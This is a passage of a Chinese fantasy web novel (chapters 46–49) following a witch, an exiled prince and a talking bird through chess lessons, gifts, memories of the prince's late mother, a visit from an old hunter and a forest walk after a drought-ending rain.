接下来,莱克斯花了不少功夫,总算凑齐了一套完整的棋子,于是他将棋子摆好,终于开始为梅拉讲解规则。 听了一会儿,梅拉朝莱克斯伸出手。 “怎么了?”莱克斯奇怪地问。 “腿,蹲麻了,拉我一把。”梅拉幽幽地道。 莱克斯:“……” 他只好充当人形拐杖,让梅拉扶着他,在原地缓解了好一会儿,总算重新恢复了行动自如。 不过,为了防止类似的事情再一次发生,莱克斯又做了两个矮矮的小凳子。 这不是需要讲究精细做工的活,大体上削一个木板出来,清理掉木刺,再嵌上四条腿就够了。 因此莱克斯做起来的速度很快。 只不过有个塞拉斯在边上不停地蹦来蹦去,试图骚/扰莱克斯干活,“莱克斯!你能不能帮我重新做一根栖杆?这次我要用云杉木,还要再吊绳上缠几朵花。” “你原来那根不是还好好的吗?没看到哪坏了啊,怎么忽然就要莱克斯帮你做新的栖杆了?”梅拉出手制住塞拉斯,免得它不小心往刀尖上撞去。 “可是那根栖杆都用了这么多年了,我也想换根新的来用用。”塞拉斯一边说,一边偷觑着梅拉的脸色。 旧的这根栖杆说起来还是当初它自己捡了根树枝回来,央求梅拉帮着削掉杂支,又仔细地清理了木刺,上了一层蜡,这才缠上吊绳挂了起来。 这会儿它开始喜新厌旧,难保梅拉脸色不好。 “知道我会不高兴还非要提出来?你就是故意的吧?”梅拉挑眉,似笑非笑地盯着塞拉斯。 没想到塞拉斯也学坏了,都会故意出言试探她了。 别看塞拉斯刚才是明着在骚/扰莱克斯,实际上完全是故意把话说给梅拉听的,想借机探探梅拉的态度。 一旦梅拉脸色不对,它立刻就能改口说不要了,莱克斯爱做不做,它不稀罕。 “嘤嘤嘤。”见梅拉看破自己的图谋,塞拉斯恨不得缩成一个球,试图装装可怜。 可惜它不是幼鸟了,重得都能直接压垮梅拉的肩头,装可怜的效果大打折扣。 梅拉把塞拉斯丢到一边去,警告它不要再试图捣乱,她现在就等着莱克斯赶紧把凳子做出来,快点开始和她下棋。 塞拉斯蔫蔫地用翅膀抱住头,态度倒是老实了不少。 直到今天,梅拉终于和莱克斯坐到了对面,棋盘是刚才莱克斯找了块空地画好的,棋子也提前摆好了。 “这几种棋子之间是分别克制的关系。”莱克斯简单地给梅拉介绍了一下棋子之间的规则。 即王后棋可以干掉国王棋和兵棋,却会被骑士棋打败;国王棋可以干掉骑士棋,却会被兵棋打败;骑士棋则理所当然地能干掉兵棋。 “听起来国王棋挺没用的样子。”梅拉把玩了一下手里的国王棋,毕竟它只能干掉一种棋子。 莱克斯笑了笑,“所以创造棋子的人为了公平,规定骑士棋的数量是最多的。” 只要国王棋先一步清理干净对方的骑士棋,那己方便彻底处于不败之地了。 “我们先来下一局看看。”梅拉跃跃欲试地举起国王棋,头一个就干掉了莱克斯的一枚骑士棋。 这倒是很符合梅拉的性子,她一向勇敢又大胆。 莱克斯还记得他头一回与斐南基下棋,听完规则介绍后,最先动的是兵棋。 兵棋在棋盘中的数量自然是第二多的,而它针对的只有国王棋,拿它探路,即使被吃掉了也对后续的棋局起不了太大的影响。 “殿下很谨慎呢。”斐南基夸赞了莱克斯一句,不出意外地将他送上门的兵棋拿出了棋盘。 现在,莱克斯则将梅拉送上门的骑士棋给拿走了。 第一局,梅拉不出所料地落败了。 甚至没在莱克斯手里撑够一刻钟。 “再来。” 梅拉这回学着莱克斯刚才的走法,先攻克莱克斯的兵棋。 模仿别人的走法正是每一个初学者必过的一关。 既然是模仿对方,对方自然能轻而易举地洞察为何要下这一棋。 故而很快,梅拉又输了。 她抿了抿唇,眼底燃起一股不服输的暗火,“再来!” 莱克斯自然如她所愿,重新摆好了棋局。 * 王国的东方,弗霍斯特领。 灰发蓝眼的男人坐在书房里,面前的桌子上摆着一张琉璃雕刻而成的棋盘,由各色宝石制成的棋子则摆放其上,其中,王后棋往前走了一步,却无知无觉地陷入了两个骑士棋的包围之中。 突然,书房的门被敲响。 “请进。”男人温声道。 于是一名身穿甲胄的骑士走进来,面露喜色地向他汇报道,“侯爵阁下,粮食的价格已经稳定下来了,目前已经回落到了六月时的情况。说起来,这场旱灾也是多亏了您愿意拿出大量的粮食,低价卖给各大粮食商人,才没有让更多无辜的人死去。” 男人抬手,制止了他的话,“奥维伦,不必太过夸扬我,这本就是我应该做的,即使我已经不再是王国的宰相,但也不能坐视人们陷入苦难之中,置之不理。” “侯爵阁下,您倒是有这样高贵的品格,可那伊莱雅王后却为了让她的兄弟上位,硬生生安了个罪名到您身上,让您不得不回到领地,重新做一名无所事事的贵族。” 提起这事,奥维伦显然很是为斐南基打抱不平。 “再说了,她明明早就知道各地干旱,粮食欠收,却故意提前囤粮,在灾情发生时高价卖出,害得不少人家破人亡。要是王储殿下还在,一定不会让她这么做的。” “奥维伦。”斐南基再一次叫住了他。 即使语气没有变得多么严厉,却成功让人高马大的奥维伦悻悻地缩了缩脖子。 “抱歉,阁下,是我刚才失言了。” 怎料斐南基却轻轻地摇了摇头,“你怀念莱克斯殿下并没有错,我也很怀念当初和他一起下棋的日子。” 斐南基定定地看着棋盘上的棋子,忽然露出一个怀念的笑容,“若是莱克斯殿下来下这局棋,一定不会走出这样伤敌一千自损八百的招数。” “当年老国王七世特意控制了领主们所能掌握的奴隶的数量,就是为了削弱他们的力量,可惜三个月过去,曾经百年的积累一下子就亏空了大半。满地的死灰又要复燃了。” “您说什么?”奥维伦疑惑地抬头,奇怪,他怎么没听清刚才侯爵阁下说的内容。 “没什么。”斐南基温和地笑了笑,岁月的痕迹在他的眼角温柔地留下了数道浅浅的皱纹,却丝毫没有损伤他的英俊,反而使这张面孔更加富有深邃的魅力。 即使斐南基如今走出去,依然能获得不少正当年华的少女们的青睐。 “好了,事情说完了的话,你就先下去忙其它的吧。”斐南基道。 奥维伦点头应是,很快便退了出去。 于是偌大的书房重新恢复了安静。 斐南基看向花瓶里插着的新鲜的百合,忽然想起了什么,“啊,就快到莉莉勒斯的生日了啊。” 第47章 第 47 章 [小情侣互动] 塞拉斯最终还是如愿以偿地更换了新的栖杆。 莱克斯刚用绳子将杆子挂好, 它立刻兴奋地飞了上去,一会儿跳到这边,一会儿跳到那边,似乎在尝试新杆子是否结实。 连梅拉喊它的名字都没听见。 梅拉无奈地看向莱克斯, 却讶异地看到他递过来一只指节粗细的小哨子。 “这是用剩余的木料做的。”莱克斯解释道。 为塞拉斯做一根新的栖杆用不了多少材料, 只不过为了精益求精,莱克斯弄了不少云杉木的木头回来, 最后拿出的成品果然让塞拉斯一看见就爱得不行, 非得抱在怀里用脸蹭了又蹭。 而剩下的一点木料, 便被莱克斯拿来做成了梅拉手中的小哨子。 梅拉试着将哨子放到唇边吹了吹。 尖锐的声音吓得塞拉斯身子一歪, 差点从栖杆上掉下来。 “梅拉你在干什么?刚才那声哨音吹得我耳朵都快炸了。”塞拉斯抱怨道。 “那这样呢?”梅拉换着法子又吹了一遍哨子。 这回倒是好多了, 至少塞拉斯听着不再那么刺耳了。 然而塞拉斯如果能提前知道梅拉之后竟然会对吹哨子上瘾,它这会儿一定会拼了命地劝说梅拉不要将这枚哨子时刻带在身边。 否则就会像现在这样,动不动就能听见哨音催命一样地响起。 “又、又怎么了?”塞拉斯拖着沉重的身躯飞到了梅拉的面前, 声音十分虚弱, 好像连着干了三天三夜的重活似的,透着股筋疲力尽的意味。 “没什么,我就想看看你和莱克斯这会儿谁有空帮我个小忙。” 说着,梅拉朝不远处种着蓝色泡铃花的花盆努了努嘴,也不知道她刚才干了什么,花盆里的土被挖得坑坑洼洼的,还掉了一地都是。 “我刚才查看了这一株泡铃的根系, 发现新换的土不够透气, 快把它的根给憋坏了,既然你现在有空,就去帮我捉几条蚯蚓来吧。” 原来是想捉几条蚯蚓来松土。 塞拉斯松了口气,这有什么难的, 它这就去,顺便还能借这个机会躲出去一会儿,省得继续被梅拉的哨音骚/扰。 它实在是受不了了。 自从莱克斯送出了这枚哨子,梅拉就是没事也要给他们找点事来干,重点不在于使唤他们,重点在于找机会吹响哨子。 就是冲狗摇铃铛也没有这样的。 塞拉斯越想越忍不住幸灾乐祸,它离开了,莱克斯就只能独自承受这份折磨了,谁让他当时非要送哨子,送点别的什么不会发出声音的东西难道不好吗? 即使是莱克斯,大概也受不了梅拉的折腾了,过了好几天,他默默地重新做了支小横笛,总算让哨音消停了下来。 梅拉捧着小横笛爱不释手,迫不及待地放到唇边,断断续续地吹响了一支曲子。 “这是……”塞拉斯竖起耳朵听了半天,从梅拉破碎的曲调中听出了几分熟悉感。 “就是你小时候我哼给你听过的安眠曲啊。”梅拉用笛子不轻不重地敲了一下塞拉斯的脑袋,她吹得有这么难听懂吗? 塞拉斯抱着脑袋敢怒不敢言,只敢哼哼唧唧地道,“那你喊莱克斯来听听,看他听不听得出来。” 莫名被卷入的莱克斯镇定地听完了梅拉的瞎吹,一句“我没听过这首曲子”顺利地终结了塞拉斯试图拱火的打算。 “怎么可能,你小的时候难道母亲不给你唱安眠曲哄你睡觉吗?”塞拉斯不信,并且强烈怀疑莱克斯是在撒谎。 “塞拉斯,好好说话。”梅拉这下敲到塞拉斯头上的笛子真的带了点力道,结结实实地让塞拉斯吃痛地叫了一声。 “没关系。”莱克斯反而道。 “我刚才有哪个地方说错了吗?”塞拉斯终于从梅拉和莱克斯的态度中意识到了奇怪之处,可它扭头看了看梅拉,又看了看莱克斯,不懂他们到底在打什么哑谜。 这事让梅拉来说不太好,她犹豫了一会儿该怎么和塞拉斯解释,便被莱克斯抢先答道,“我的母亲在我六岁的时候便去世了。” 莱克斯的母亲莉莉勒斯是一位人人称赞的王后,她不仅美丽动人、温柔体贴,还将所有事情都打理得井井有条,连一向脾气骄横的纳伊芙公主都在她面前表现得服服帖帖的。 然而打从生下莱克斯之后,莉莉勒斯的身体便一下子变得极为虚弱,脸色常年带着些许苍白。 操心太多的事情还会让她的头痛发作。 因此,莉莉勒斯提前给活泼好动的莱克斯找了两位老师陪伴他。 年幼的莱克斯和每一个身强体壮的小男孩一样坐不住,常常在书房坐了一会儿就忍不住走神去看窗外飞过的蝴蝶,偶尔掠过的飞鸟,就是没法听进去斐南基的教导。 没办法,斐南基只好特意和切尔各更换了教导莱克斯的顺序,先由切尔各在上午带着莱克斯消磨多余的精力,等他累得差不多了,自然就能安安分分地坐在书房里与斐南基交流。 到了晚上,莱克斯用过晚餐,很快就躺在床上睡着了,自然用不着莉莉勒斯专门来为他唱安眠曲哄他入睡。 当然,莉莉勒斯一定是爱着这个她好不容易才生下来的孩子的,只不过事情就是如此阴差阳错,等莱克斯长到五岁,在斐南基的教导下俨然有了小王储该有的风范,也就更加不需要莉莉勒斯将他当做普通的孩子来哄了。 至于莉莉勒斯去世的消息,哪怕是远在白松镇上的梅拉都听到了风声,听说努伦格尔九世为她举办了一场异常隆重的葬礼,所有贵族应邀前往王城,在教堂里为王后的逝世而默哀。 然后在同一年的十一月,努伦格尔九世马不停蹄地迎娶了新的王后,即现任王后伊莱雅·裘德。 尽管这件事在贵族们的口中议论纷纷,但却没再传到像梅拉这样的平民的耳朵里。 以至于现在还有不少人认为伊莱雅是个不错的王后。 若不是碰到了莱克斯,梅拉更是压根不关心现任王后的真面目到底如何。 只不过,一想到当时才六岁的莱克斯先后经历了母亲的葬礼和父亲的婚礼,任谁的心情都会像打翻了调料瓶一样五味杂陈。 “……对不起,莱克斯,我不是故意想要戳你伤口的。” 塞拉斯听完全情,顿时羞愧地低下了头,老老实实地向莱克斯道歉道。 “没关系,事情过去这么久了,我已经不再是当初那个对一切事情都无能为力的孩子了。”自然不会再困在愤懑的情绪里无处发泄,只能伤害身边亲近的人。 更何况莱克斯很清楚,他的母亲去世那会儿,塞拉斯还只是一只呆在鸟巢里嗷嗷待哺的幼鸟,怎么可能会关心人类的事情。 那会儿它甚至都没遇到梅拉。 “好了,我们还是来说点开心的事情吧。”梅拉适时地开口打断了空气中涌动着的淡淡的悲伤氛围。 每当这时候,她才会流露出一个女人的温柔与包容,与平日里少女似的活泼灵动截然不同。 也让莱克斯意识到站在他面前的梅拉确确实实已经二十六岁了,颦笑间带着成熟的风致。 “你在走什么神呢?我刚才说的话你听到没有?”梅拉忽然凑到莱克斯的面前,奇怪地盯着他看了半天。 她刚刚才重新让塞拉斯恢复元气,贱嗖嗖地开始和她斗嘴,扭头一看,就发现莱克斯不知道什么时候眼神飘忽到了别的地方,仿佛沉入了另外的空间。 “抱歉,我只是在想点别的事情。”莱克斯一面说,一面不动声色地拉开了些许与梅拉的距离。 太近了。 近到他能清晰地看清梅拉光滑如鸡蛋的皮肤,蹙起的眉头和微抿的唇。 时间好像格外偏爱梅拉,不曾在她的脸上留下一星半点的痕迹,细细的笑纹随着她的表情偶尔浮现出来,竟然显得更加动人了。 如果让那些苦心追求青春常驻的贵妇人们见到梅拉,一定会缠着她要她交出保持年轻的秘诀吧。莱克斯忽然想到。 梅拉大概会说不知道。 但在莱克斯看来,不用经受婚姻的折磨,不用忍受男人带来的种种麻烦,乃至于他喜怒无常的坏脾气,再替他操心一堆事情,或许就是梅拉与任何夫人都不同的地方。 那些贵妇人们表面看着言笑晏晏,可谁的眼底没有埋着苦楚和烦忧呢。 梅拉看着话说到一半又走神了的莱克斯,实在懒得管他了,比起关心莱克斯,她更关心她即将开花的蓝色泡铃花。 一串串铃铛似的小花朝着月亮的方向努力生长着,豆大的清露凝聚在花瓣上,闪烁着点点蓝色的荧光,看起来漂亮极了。 等到了白天,它们又会合上花瓣,似一个个透明的泡泡,还能清楚地看见其中幽蓝色的花蕊。 可惜蓝色泡铃花的花期算不上长,也就半个月左右。 不过今天距离它开花的日子还有一段时间,梅拉可不是会提前替它的凋谢难过的那类人。 * 晚上,梅拉取出莱克斯送的小横笛,放到唇边,轻轻地吹了起来。 是她的母亲从小为她哼唱过的安眠曲。 也是她曾经用来安抚小塞拉斯的曲子。 尽管算不上多么动听,但塞拉斯还是在这熟悉的曲调中逐渐睡了过去。 莱克斯躺在毯子上,同样慢慢地合上了眼。 确认莱克斯真的睡着了之后,梅拉才停了下来,就当她这是在哄那个年仅六岁,还不懂得如何排解忧伤的小莱克斯吧。 第48章 第 48 章 [杜克瓦托给莱克斯送来…… “哟, 好久不见,你小子长高了嘛。” 一大早,小木屋就来了一名老熟人。 杜克瓦托朝着莱克斯挥了挥手,热情地招呼道。 然而莱克斯只是淡淡地瞥了他一眼, 将最后一盘烤松饼端到了桌子上, 便径自坐了下来,开始用餐。 “好久不见, 杜克瓦托, 你倒是和以前一样, 一点也没变。” 梅拉用餐巾擦了擦嘴角不小心沾上的酱料, 继续切着盘子里的煎蛋, 一点也没有要起身欢迎杜克瓦托的意思。 “嗨,我这么大年纪了,还能变到哪去, 反倒是莱克斯这种小年轻, 真是一天一个样。上次见到他,好像才到我肩膀这么高吧?” 杜克瓦托一面比划了一下,一面熟门熟路地走到空椅子上坐下,仿佛在自己家一样自在。 他说得倒也是实话。 不论男人女人,一旦过了二十岁,会逐年增加的大概只有体重和皱纹了。 当然,保养得好的话, 就会像他这样三十多了仍然看起来一副精神勃勃的样子, 身材也是一如既往的高大,好像能直接一拳打死一头牛。 “这不是很正常么,你上次见到他都是大半年前的事了吧。”梅拉的记忆很好,准确地回想起了杜克瓦托上回来小木屋还是四月份的时候。 那会儿还能称得上一句春暖花开, 四处都是一派生机盎然的景象。 谁能想到到了五月末,情况便开始急转直下,天气热得不管是人还是动物都忍不下去,甚至是植物枯萎的也不少。 “不过,你看上去也没怎么变,难道女巫还有永葆青春的药水或者咒语吗?”杜克瓦特摸着下巴,上下打量着梅拉,发现她和七八年前的样子一点没变,不由得怀疑道。 “你猜?”梅拉露出一个暧昧的笑容,不说有也不说没有。 “看来是没有了。”杜克瓦托遗憾地道。 相处这么多年他也摸索出来了,一旦梅拉故意露出这样暧昧不定的态度,那指定有点问题。 如果真有这样的药水或者咒语,梅拉只会大大咧咧地说出来,然后得意地享受杜克瓦托惊讶的眼神。 “好了,说说你这回为什么来吧?我最近可没有叫你替我跑腿。”梅拉吃完煎蛋,接着拿了个松饼放入嘴里。 “你就是想叫我替你跑腿我也没辙,前几个月外头到处都是买不起粮食活生生饿死的人,为了安全,到处都是锁上的门,街上一个人影也看不见。”杜克瓦托半真半假地抱怨道。 都看不见人,怎么买东西。 杜克瓦托搬到镇子上这么久,还是头一次见到如此冷清萧条的景象。 “哪里像你们,吃得竟然还这么好,我前段日子就差没啃树皮去了。”杜克瓦托玩笑道。 说着,他顺势站起来,溜达到桌边,也从盘子里拿了张松饼递到嘴边,三两下便吃了个干净。 那架势,还真有点狼吞虎咽的意味。 不过梅拉很清楚,以杜克瓦托的本事,还不至于真的沦落到如此悲惨的地步,但其他人可就不一定了。 同时她也注意到,刚才杜克瓦托说的是“买不起”,而不是“买不到”。 “前段时间的粮食价格很贵吗?有多贵?” “以前能买一头驴的价格,现在只能买三袋蚕豆和一袋豌豆。”杜克瓦托抬手给梅拉比了个数,满意地看到了她皱起的眉头。 “所以如果不想活活被饿死,拖家带口的去给领主当奴隶倒也是个不错的办法。”杜克瓦托补充道。 他含着嘲意笑了两声,“这几个月,镇上可是空出了不少屋子,可领主的庄园里人却快要多得挤不下了吧。” “现在呢?” 莱克斯忽然出声,他抬眼看向杜克瓦托,“这样糟糕的情况难道现在竟然没有任何改变吗?” “有啊,”杜克瓦托耸了耸肩,“听说上个月,东边的弗霍斯特侯爵阁下特意召集了不少粮食商人,很快,一批低价的粮食就运到了周边。有便宜的粮食谁还愿意花钱买贵的,这下其他粮食商人也不得不跟着降价,所以这会儿的情况倒是好多了。” 起码大家不用再纠结到底是苦心维持平民的身份,还是低头去给领主当奴隶,接着世世代代都只能当奴隶。 “弗霍斯特侯爵?那是谁?”梅拉问莱克斯。 “王国的前任宰相,斐南基,就是这一代的弗霍斯特侯爵。”莱克斯言简意赅地答道。 “哟,听起来还是你和切尔各的老熟人啊。”杜克瓦托戏谑地道。 说到切尔各,杜克瓦托总算想起他这回来的目的,冷不丁从屋外拎进来了一大瓶酒,“嘭”的一声放到餐桌上。 “小王子,你的十八岁生日快到了吧?这是我替切尔各给你送来的成年礼物,虽然算不上什么上等的好酒,但也花了我足足两枚金币,你和他都必须欠我一份人情才行。”杜克瓦托贼兮兮地笑道。 “等一下,这到底是送礼物还是做生意,你怎么比我还黑?”梅拉在一旁忍不住道,这完全就是强买强卖。 莱克斯则看着桌上的酒瓶,发愣了好一会儿,自从通过杜克瓦托送了一把剑来之后,切尔各和他就失去了联系。 据杜克瓦托说,切尔各早已经离开了王城,行踪成谜,他也不知道他的下落,除非切尔各主动找上门来。 切尔各这么做其实也是为了莱克斯好,既能保护他们和杜克瓦托的关系不被发现,又能替莱克斯引走一部分注意力。 不管是站在莱克斯这一边还是站在伊莱雅那一边的人,都会想若是莱克斯还活着,一定会想尽办法也要和切尔各汇合,毕竟如今还对他保持忠心耿耿的人,明面上也只剩下了切尔各一个。 而有切尔各在身边,莱克斯的安全显然更能得到保障。作为区区一介平民,却靠着一路挑战别人坐上了骑士长位置的切尔各,其凶悍的武力也是众人眼中公认的强大。 “切尔各,他,最近有联系你么?”莱克斯看向杜克瓦托。 “当然没有,我哪知道他小子跑到哪里去了。”杜克瓦托理直气壮地摊手答道。 “要我说,你就别管那么多了,总归以他的实力只要不是被几百人围攻就不可能会出事。所以为了庆祝今天这样一个好日子,不如我们提前把酒开了吧,如何?”杜克瓦托下意识的开始摩拳擦掌,跃跃欲试地打算撬开酒瓶上的木塞。 “……这所谓的成年礼物完全是你想喝酒而已吧。”看破了真相的梅拉深吸一口气,接着一把提起酒瓶,转身放入了角落的柜子里。 “小孩子不许喝酒,等到莱克斯真正过了十八岁生日再说。” “哎哎哎,梅拉,你干什么呢?这可是我送莱克斯的礼物!”杜克瓦托试图挽救一下。 “嗯哼,可我是莱克斯的主人,他的东西就是我的东西,我说不给喝他就不能喝。”梅拉单手叉着腰,气定神闲地反驳了回去。 杜克瓦托赶紧巴巴地看向莱克斯,暗中祈祷他争气一点。 然而他失望了。 只见莱克斯点了点头,显然是在附和梅拉的话。 “唉!你小子简直是被这坏女人给吃定了,她说什么你都照做,一点自己的主见都没有。”杜克瓦托长叹一口气,无奈地摆手,总算掐灭了那点馋酒的心思。 就是有点可惜,花了这么多钱买的酒,他竟然一口也没尝到,亏了亏了,早知道买瓶便宜的随便糊弄一下算了。 关于杜克瓦托的控诉,莱克斯权当自己没听见,默默地开始收拾餐具。 “行了,我要走了,小王子,来送送我怎么样?我还有几句话要跟你说。”杜克瓦托重新恢复了原来那不正经的模样,笑嘻嘻地对莱克斯道。 他也不藏着掖着,大大方方地告诉梅拉他有悄悄话要对莱克斯说,若是梅拉想知道,回来问莱克斯就行,反正别找到他头上。 闻言,莱克斯没有立刻应下,而是转头看向梅拉。 梅拉无所谓地挥了挥手,“去吧去吧,快点把他送走,留在屋子里快吵死了,像八百只塞拉斯同时在叫。” 莫名被点名的塞拉斯无辜地抬头:“?” 莱克斯得到梅拉的首肯,便放下餐具,同杜克瓦托一起走到了小木屋外。 “身板练得不错。”杜克瓦托上手捏了捏莱克斯的肩膀,旋即满意地点了点头,“切尔各要是看见了,绝对能知道他当初花一点小钱就拜托我来锻炼你到底有多值了。” 切尔各作为骑士的同时,还是负责传授莱克斯武艺的老师,然而他既然没办法时刻留在莱克斯的身边进行教导,只好拜托到了杜克瓦托身上。 从小一起长大的情分,没有人比切尔各更清楚杜克瓦托的身手其实不比他差,只不过比起成为一名受条条框框约束的骑士,杜克瓦托更宁愿当一名自由自在的猎人。 没钱了就猎点猎物去换钱。 有钱了就到酒馆里点满满一大杯的劣质麦子酒,听其他人大声地吹嘘最近的见闻、闲聊邻居的八卦,或者自己也加入其中。 但让他来教导莱克斯,切尔各很放心。 反倒是杜克瓦托叼着一根草,吊儿郎当地问切尔各,难道他就不担心他心心念念的小主人会被他带坏吗? 切尔各笑着摇了摇头,“就凭你,想带坏殿下,还不够格。” 杜克瓦托不屑地切了一声,同时开始在心底后悔刚才没有狮子大开口,向切尔各多勒索点金币。 现在也就只能眼睁睁地看着人潇洒地离开,留下一个坚毅的背影。 这些年,杜克瓦托好歹是按照和切尔各约定,把自己会的东西都教给了莱【踏雪独家】克斯。等到莱克斯第一次将他的手反拧到背后,牢牢地制住他的动作,杜克瓦托连忙喊停,承认莱克斯已经不需要他的教导了。 “今后,除非梅拉有事拜托我帮忙,否则我大概是不会再来了。”杜克瓦托道。 十六岁的莱克斯颔首,一滴晶莹的汗珠从他的下巴滑落。 刚才的比试对莱克斯来说同样不轻松。 甚至他觉得,杜克瓦托若是一开始就尽全力,未必会输。 “行了,我只是负责教导你的身手,可不负责当你的沙袋,凭什么要用尽全力和你打一场,到时候打得鼻青脸肿的样子简直难看得要命。”杜克瓦托嫌弃地道。 接下来,他确实鲜少来到小木屋,即使来,也是为了帮梅拉跑腿。 因此他今天忽然到访时,莱克斯一下子就猜出他一定是受了切尔各的拜托而来。 只不过莱克斯没想到,杜克瓦托的目的竟然是为了替切尔各给他送礼物。 “切尔各想让你转告我什么?”莱克斯问道。 “哟,还是那么聪明嘛。”杜克瓦托毫不意外莱克斯的敏锐,他清了清嗓子,正色道,“切尔各让我转告你,等到你该离开的时候,他会想办法来黑暗森林接你的。” “……我知道了。”莱克斯默了片刻,道。 “看你的样子好像有点不情不愿啊,该不会是舍不得梅拉吧?”杜克瓦托托着下巴,渐渐凑近了莱克斯,试图近距离地观察他的表情。 莱克斯抬手,挡住了杜克瓦托的靠近,“这些年来,她对我很好。” 因此产生依依不舍的情绪,实在是一件再正常不过的事了。 人总是容易眷恋幸福的时刻。 但是,“我不会忘记我身上的责任,还有该报的仇。我一定要回去拿回本就属于我的王位。” 莱克斯抬眸,对上杜克瓦托的视线,眼神深沉似刚出炉,受过锻打的坚铁,还能溅起令人想要退避三舍的火星子。 杜克瓦托无谓地勾了勾嘴角,“不错的决心。不过这种话,你还是留着说给切尔各听吧,我对什么王位不王位的事情不感兴趣,只希望等你成为国王的那天,别忘了欠我的这份人情。” “我要满满一屋子的金银珠宝。”杜克瓦托竖起食指,目光炯炯地盯着莱克斯。 不料莱克斯摇了摇头,“我的东西就是梅拉的东西,哪怕我未来成为了国王,怎么处置王宫宝库里的东西也应由她来做决定。” 意思是杜克瓦托想要金银珠宝不该找他,该找梅拉才是。 “——我现在严重怀疑梅拉是不是给你喝了什么不听她的话就会死的药水,否则怎么会有人对另一个人言听计从到这种地步。”杜克瓦托咬牙切齿地道。 他真是对莱克斯无话可说! 第49章 第 49 章 [小情侣互动] 不知多少人期盼已久的一场雨, 终于赶在九月的尾声从天上落了下来,滴滴答答地砸在屋顶上,自屋檐滚落一帘珍珠串成的雨幕。 不巧的是下雨前莱克斯还呆在离小木屋有些距离的地方,尽管一看到天上聚起了乌云, 他便立刻带着塞拉斯紧赶慢赶地往小木屋冲了回来, 可惜路上还是不小心让雨水沾湿了胳膊与肩胛。 好在这也不是什么大事,换件衬衫就是了。 等莱克斯换完衣服, 就看到梅拉和塞拉斯已经坐在壁炉旁, 各自悠然地捧着一个茶杯正喝着苹果茶。 壁炉燃着一小簇蓝色的火焰, 上头架着一个小小的铁锅, 里头正不停冒着气泡, 烘托着苹果和肉桂的香气。 “莱克斯,你也快来一杯去去寒气吧。”梅拉一面吹着杯子里滚烫的热水,一面抽空招呼了一句。 莱克斯于是也端着满满一杯苹果茶, 舒舒服服地坐到了椅子上, 结实的靠背撑起了他的重量,让紧绷许久的肌肉得到了片刻的放松。 窗外是绵延的雨声,仿佛海浪一般一浪接着一浪,手中的杯子也透过杯壁传递出温暖手心的热度,一层接着一层,在这样的夹击下,实在催人昏昏欲睡。 连莱克斯都忍不住闭了闭眼, 享受这难得的宁静时分。 梅拉却误会他是困了, 忙走到他身旁,轻轻地推了推他的肩膀,小声喊他,“莱克斯, 莱克斯,你可千万别在椅子上睡着了,回毯子上睡多舒服。” “没事,我不困。”莱克斯睁眼,手里的杯子握得稳稳当当,显然一刻也不曾松了力道。 “噢,那好吧。”梅拉转头去给在椅子上睡得四仰八叉的塞拉斯换了个姿势,顺便将它用翅膀死死抓住的拇指大小的茶杯取了下来。 也许是拖了好几个月的缘故,这场雨下了很久,足足三天三夜,几乎梅拉睁眼闭眼都环绕在雨声之中,天空也总是灰暗的,看不出昼夜更替。 好在三天后,梅拉发现雨停了。 只不过屋外的泥土被雨水泡了这么久,鞋子一踩上去就开始下陷,感觉好像踩在了腐烂的桃子上似的。 梅拉用了点力将鞋子拔出来,更是嫌弃地盯着那满满一圈的烂泥直皱鼻子。 不过在看到草木重新焕发了生机,湿润的树干上长满了密密麻麻的蘑菇,饿坏了的野兔抓着一大把四叶草疯狂塞进嘴里,连看到梅拉一行人都不舍得离开,还与梅拉大眼瞪小眼时,那点嫌弃就化为了嘴角的笑意。 “咦,这树洞里还开出了一簇小花。”梅拉走着走着忽然俯下身,凑近了一个巴掌大的树洞,惊喜地发现里头竟然长了好几朵颜色艳丽的小花。 只见一团团浓丽的紫色点缀在嫩黄色的花瓣上,最后在边缘晕染开红色的裙边,躲在树洞里悄然绽放着美丽。 “这是……红裙花?我怎么记得这种花不应该长在树洞里才对。”莱克斯在塞拉斯的指使下也凑了过来。 他记得偶尔会在路边的草丛上瞥见这种小花的身影,在一片黄黄白白之中,小小的红裙花只能当做零星的点缀。 但它艳丽的裙边在夕阳的照耀下格外夺人眼球。 莱克斯一旦遇见,视线总是情不自禁落到它的身上,脑中闪过梅拉好像从未穿过颜色如此鲜艳的裙子之类乱七八糟的念头。 梅拉没有发现莱克斯的走神,因为塞拉斯哪怕站在莱克斯的肩膀上,仍然要费尽心思的非将它的脑袋伸了过来,以至于梅拉一转头,就是塞拉斯黑乎乎的脑袋。 梅拉一边无奈地揉了揉塞拉斯的头,一边道,“或许是种子随风飘了进来,又或者被什么小鸟衔到了这里,就干脆在这扎根了吧。” “在不合适的地方顽强地生长,一场大雨就能恢复生机,生命的韧性往往超乎你的想象。” 话说回来,人不也是么? 即使是再贫瘠的土地,也有人咬着牙生活下来,不断繁衍生息,最终形成一个个或大或小的聚落。 王国的许多领地曾经都是如此发展而来。 “继续走吧。”梅拉直起腰,接着往前走去。 要说梅拉带着莱克斯和塞拉斯是想出来寻找什么,倒也不是,她纯粹是想要呼吸一下新鲜的空气,感受草木的清香顺着空气流入肺腑之中,湿润鼻腔,有种由内而外的畅然。 因此一旦碰上岔路口,往左往右全看梅拉当时的心情。 这也导致了他们偶尔会在原地打转,走着走着就回到了最初的起点。 “但我们是不是已经第三次走回这个地方了?”塞拉斯弱弱地发声。 “是吗?”梅拉不太确定,她绕着附近的树木转了几圈,试图和不久前的记忆对上号。 可惜他们一路走来完全没有考虑过要做个标记之类的,而森林里相似的树木总是长到了一起,实在很难用肉眼对它们进行区分。 “我也觉得我们似乎来过这个地方。”这时,莱克斯忽然出声附和了塞拉斯的观点。 他指了树边的一处小小的石堆给梅拉看,“我对这个石堆有印象。” 那看来他们真的是迷路了。梅拉想到。 “要不然,这次我们一路沿途做好记号,重新走一遍试试?”莱克斯提议道。 同时他抬头看了看天空,夕阳已经渐渐烧起了火红的云霞,暮色从稀疏的枝叶间漏出,提醒着他们,是时候该回小木屋去了。 否则夜晚很快就要降临。 “倒也不用那么麻烦。”梅拉冲塞拉斯招了招手,示意它从莱克斯肩膀上下来。 “让塞拉斯载着我们飞回去不就好了。”梅拉道。 莱克斯怔了一下,这倒是个好主意。 “说起来,你还从未试着让塞拉斯载着你飞起来吧?”梅拉轻车熟路地丢给塞拉斯一个变大咒语,忽然像是想起来了什么,扭头冲着莱克斯笑得意味深长。 “待会你要是害怕,记得抱紧我。” “或者你想尖叫也没关系,我会体贴地当没听到的。” 当梅拉说出这番话时,俨然打着看莱克斯笑话的主意,因此不管待会飞上高空的感觉如何,莱克斯都打定主意绝不能失态。 